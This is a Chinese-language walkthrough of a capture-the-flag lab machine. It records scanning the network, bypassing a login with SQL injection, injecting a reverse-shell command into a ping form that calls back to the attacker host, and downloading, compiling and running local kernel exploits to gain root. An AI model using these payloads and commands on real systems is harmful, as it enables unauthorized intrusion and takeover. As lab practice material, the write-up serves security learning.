获取靶机IP地址
打开kail虚拟机,使用arp-scan扫描工具
arp-scan -l
export ip=192.168.159.137
启动靶机后再次扫描当前局域网下的IP地址 192.168.159.137就是我们需要的IP地址,使用export定义临时环境变量(仅在当前终端会话中有效)
export ip=192.168.159.137
变量方便后面使用,可以使用echo $ip验证
先访问网址看下什么样子
发现是一个登录页面,使用SQL注入试一下,输入
admin ' and 1=1 -- +
成功进入
查看页面源码
发现,这个页面的html语句有错误,修改错误后刷新页面
<html>
<body>
<!-- Start of HTML when logged in as Administator -->
<form name="ping" action="pingit.php" method="post" target="_blank">
<table width='600' border='1'>
<tr valign='middle'>
<td colspan='2' align='center'>
<b>Welcome to the Basic Administrative Web Console<br></b>
</td>
</tr>
<tr valign='middle'>
<td align='center'>
Ping a Machine on the Network:
</td>
<td align='center'>
<input type="text" name="ip" size="30">
<input type="submit" value="submit" name="submit">
</td>
</td>
</tr>
</table>
</form>
</body>
</html>
发现可以反弹shell,利用插件Hack-tools获取反弹shell语句
127.0.0.1 | /bin/sh -i >& /dev/tcp/192.168.159.135/8888 0>&1
同时,kail监听8888端口
成功
进入靶机里面搜集一些信息
通过信息收集获取exp信息,1397.c
通过kail上传exp文件,kail使用python脚本发现权限不够
python -m http.server
wget http://192.168.159.135:8000/1397.c
接下来使用python搭建交互式终端
python -c "import pty;pty.spawn('/bin/bash');"
切换到tmp目录,因为tmp目录默认情况下是具有读写修权限
cd /tmp
再次使用wget工具下载
wget http://192.168.159.135:8000/1397.c
编译运行exp文件
gcc -o 13exp 1397.c
ls
./13exp
这个内核不是漏洞,需要重新找,考虑lsb,发现exp文件9542.c
wget http://192.168.159.135:8000/9542.c
gcc -o 95exp 9542.c
./95exp
whoami,root 提权成功,可以使用命令更改密码
sudo passwd root